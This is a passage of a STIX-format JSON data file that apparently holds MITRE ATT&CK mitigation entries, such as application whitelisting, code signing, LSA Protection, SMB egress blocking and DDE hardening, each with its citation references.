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                    "external_id": "T1200"
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                    "source_name": "Wikipedia 802.1x",
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            "name": "Hardware Additions Mitigation",
            "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.",
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            "modified": "2025-04-18T17:59:56.074Z",
            "name": "Keychain Mitigation",
            "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1064",
                    "external_id": "T1064"
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                    "source_name": "Microsoft Block Office Macros",
                    "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/"
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                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
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            "name": "Scripting Mitigation",
            "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)",
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            "name": "Code Signing",
            "description": "Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks. This mitigation can be implemented through the following measures:\n\nEnforce Signed Code Execution:\n\n- Implementation: Configure operating systems (e.g., Windows with AppLocker or Linux with Secure Boot) to allow only signed code to execute.\n- Use Case: Prevent the execution of malicious PowerShell scripts by requiring all scripts to be signed with a trusted certificate.\n\nVendor-Signed Driver Enforcement:\n\n- Implementation: Enable kernel-mode code signing to ensure that only drivers signed by trusted vendors can be loaded.\n- Use Case: A malicious driver attempting to modify system memory fails to load because it lacks a valid signature.\n\nCertificate Revocation Management:\n\n- Implementation: Use Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRLs) to block certificates associated with compromised or deprecated code.\n- Use Case: A compromised certificate used to sign a malicious update is revoked, preventing further execution of the software.\n\nThird-Party Software Verification:\n\n- Implementation: Require software from external vendors to be signed with valid certificates before deployment.\n- Use Case: An organization only deploys signed and verified third-party software to prevent supply chain attacks.\n\nScript Integrity in CI/CD Pipelines:\n\n- Implementation: Integrate code signing into CI/CD pipelines to sign and verify code artifacts before production release.\n- Use Case: A software company ensures that all production builds are signed, preventing tampered builds from reaching customers.\n\n**Key Components of Code Signing**\n\n- Digital Signature Verification: Verifies the authenticity of code by ensuring it was signed by a trusted entity.\n- Certificate Management: Uses Public Key Infrastructure (PKI) to manage signing certificates and revocation lists.\n- Enforced Policy for Unsigned Code: Prevents the execution of unsigned or untrusted binaries and scripts.\n- Hash Integrity Check: Confirms that code has not been altered since signing by comparing cryptographic hashes.\n",
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                    "url": "https://attack.mitre.org/mitigations/M1045",
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                    "url": "https://attack.mitre.org/mitigations/T1099",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Timestomp Mitigation",
            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1087",
                    "external_id": "T1087"
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                    "source_name": "UCF STIG Elevation Account Enumeration",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "OWASP Top 10 2017",
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            "name": "Netsh Helper DLL Mitigation",
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                    "source_name": "FireEye APT29 Domain Fronting With TOR March 2017",
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                    "description": "Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021.",
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                    "source_name": "CERT-EU DDoS March 2017",
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
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            "name": "LC_MAIN Hijacking Mitigation",
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                    "source_name": "US-CERT SMB Security",
                    "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.",
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                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
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            "description": "Block SMB  traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.",
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            "created": "2019-04-26T19:30:33.607Z",
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            "created": "2019-06-06T21:08:58.465Z",
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            "created": "2018-10-17T00:14:20.652Z",
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            "modified": "2025-04-18T17:59:58.906Z",
            "name": "Multi-hop Proxy Mitigation",
            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1220",
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            "modified": "2025-04-18T17:59:59.101Z",
            "name": "XSL Script Processing Mitigation",
            "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.",
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            "id": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1161",
                    "external_id": "T1161"
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            "modified": "2025-04-18T17:59:59.268Z",
            "name": "LC_LOAD_DYLIB Addition Mitigation",
            "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\u2019t included as part of an update, it should be investigated.",
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            "modified": "2024-12-10T19:25:57.870Z",
            "name": "Do Not Mitigate",
            "description": "The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response. The Do Not Mitigate category underscores the importance of assessing the trade-offs between mitigation efforts and overall system integrity. This mitigation can be implemented through the following measures:\n\nComplex Systems Where Mitigation is Risky:\n\n- Interpretation: In certain systems, direct mitigation could introduce new risks, especially if the system is highly interconnected or complex, such as in legacy industrial control systems (ICS). Patching or modifying these systems could result in unplanned downtime, disruptions, or even safety risks.\n- Use Case: In a power grid control system, attempting to patch or disable certain services related to device communications might disrupt critical operations, leading to unintended service outages.\n\nRisk of Reducing Security Coverage:\n\n- Interpretation: In some cases, mitigating a technique might reduce the visibility or effectiveness of other security controls, limiting an organization\u2019s ability to detect broader attacks.\n- Use Case: Disabling script execution on a web server to mitigate potential PowerShell-based attacks could interfere with legitimate administrative operations that rely on scripting, while attackers may still find alternate ways to execute code.\n\nIntroduction of New Vulnerabilities:\n\n- Interpretation: In highly sensitive or tightly controlled environments, implementing certain mitigations might create vulnerabilities in other parts of the system. For instance, disabling default security mechanisms in an attempt to resolve compatibility issues may open the system to exploitation.\n- Use Case: Disabling certificate validation to resolve internal communication issues in a secure environment could lead to man-in-the-middle attacks, creating a greater vulnerability than the original problem.\n\nNegative Impact on Performance and Availability:\n\n- Interpretation: Mitigations that involve removing or restricting system functionalities can have unintended consequences for system performance and availability. Some mitigations, while effective at blocking certain attacks, may introduce performance bottlenecks or compromise essential operations.\n- Use Case: Implementing high levels of encryption to mitigate data theft might result in significant performance degradation in systems handling large volumes of real-time transactions.",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "id": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c",
            "created": "2019-07-19T14:58:42.715Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1055",
                    "external_id": "M1055"
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            "name": "Pre-compromise",
            "description": "Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\nLimit Information Exposure:\n\n- Regularly audit and sanitize publicly available data, including job posts, websites, and social media.\n- Use tools like OSINT monitoring platforms (e.g., SpiderFoot, Recon-ng) to identify leaked information.\n\nProtect Domain and DNS Infrastructure:\n\n- Enable DNSSEC and use WHOIS privacy protection.\n- Monitor for domain hijacking or lookalike domains using services like RiskIQ or DomainTools.\n\nExternal Monitoring:\n\n- Use tools like Shodan, Censys to monitor your external attack surface.\n- Deploy external vulnerability scanners to proactively address weaknesses.\n\nThreat Intelligence:\n\n- Leverage platforms like MISP, Recorded Future, or Anomali to track adversarial infrastructure, tools, and activity.\n\nContent and Email Protections:\n\n- Use email security solutions like Proofpoint, Microsoft Defender for Office 365, or Mimecast.\n- Enforce SPF/DKIM/DMARC policies to protect against email spoofing.\n\nTraining and Awareness:\n\n- Educate employees on identifying phishing attempts, securing their social media, and avoiding information leaks.",
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            "created": "2020-10-19T14:57:58.771Z",
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                    "url": "https://attack.mitre.org/mitigations/M1056",
                    "external_id": "M1056"
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1199",
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            "modified": "2025-04-18T17:59:59.440Z",
            "name": "Trusted Relationship Mitigation",
            "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1073",
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            "modified": "2025-04-18T17:59:59.638Z",
            "name": "DLL Side-Loading Mitigation",
            "description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1189"
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                {
                    "source_name": "Windows Blogs Microsoft Edge Sandbox",
                    "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.",
                    "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/"
                },
                {
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"
                },
                {
                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
                    "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"
                },
                {
                    "source_name": "Wikipedia Control Flow Integrity",
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            "name": "Drive-by Compromise Mitigation",
            "description": "Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.\n\nFor malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.\n\nBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
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                    "external_id": "T1177"
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                    "source_name": "Microsoft LSA Protection Mar 2014",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
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                    "source_name": "Microsoft Enable Cred Guard April 2017",
                    "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.",
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                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
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                    "source_name": "Microsoft DLL Security",
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            "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.\n\nOn Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)\n\nEnsure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Data from Local System Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "name": "Trap Mitigation",
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            "name": "Out-of-Band Communications Channel",
            "description": "Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)",
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                    "description": "National Institute of Standards and Technology. (2020, September). Security and Privacy Controlsfor Information Systems and Organizations. Retrieved August 30, 2024.",
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                    "description": "Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.",
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                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
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                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
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                    "source_name": "Microsoft Protected View",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
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                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
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                    "source_name": "Microsoft ASR Nov 2017",
                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
                    "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction"
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            "name": "Dynamic Data Exchange Mitigation",
            "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
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                    "source_name": "CERT-EU DDoS March 2017",
                    "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.",
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            "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "name": "System Time Discovery Mitigation",
            "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "NSA MS AppLocker",
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                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
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            "name": "Code Signing Mitigation",
            "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
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            "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. ",
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            "name": "Hidden Files and Directories Mitigation",
            "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
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                    "url": "https://attack.mitre.org/mitigations/M1030",
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            "name": "Input Prompt Mitigation",
            "description": "This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            "name": "Registry Run Keys / Startup Folder Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2025-04-18T18:00:02.670Z",
            "name": "Automated Collection Mitigation",
            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1085",
                    "external_id": "T1085"
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                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
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            "modified": "2025-04-18T18:00:02.847Z",
            "name": "Rundll32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "url": "https://attack.mitre.org/mitigations/T1193",
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            "name": "Spearphishing Attachment Mitigation",
            "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1006",
                    "external_id": "T1006"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
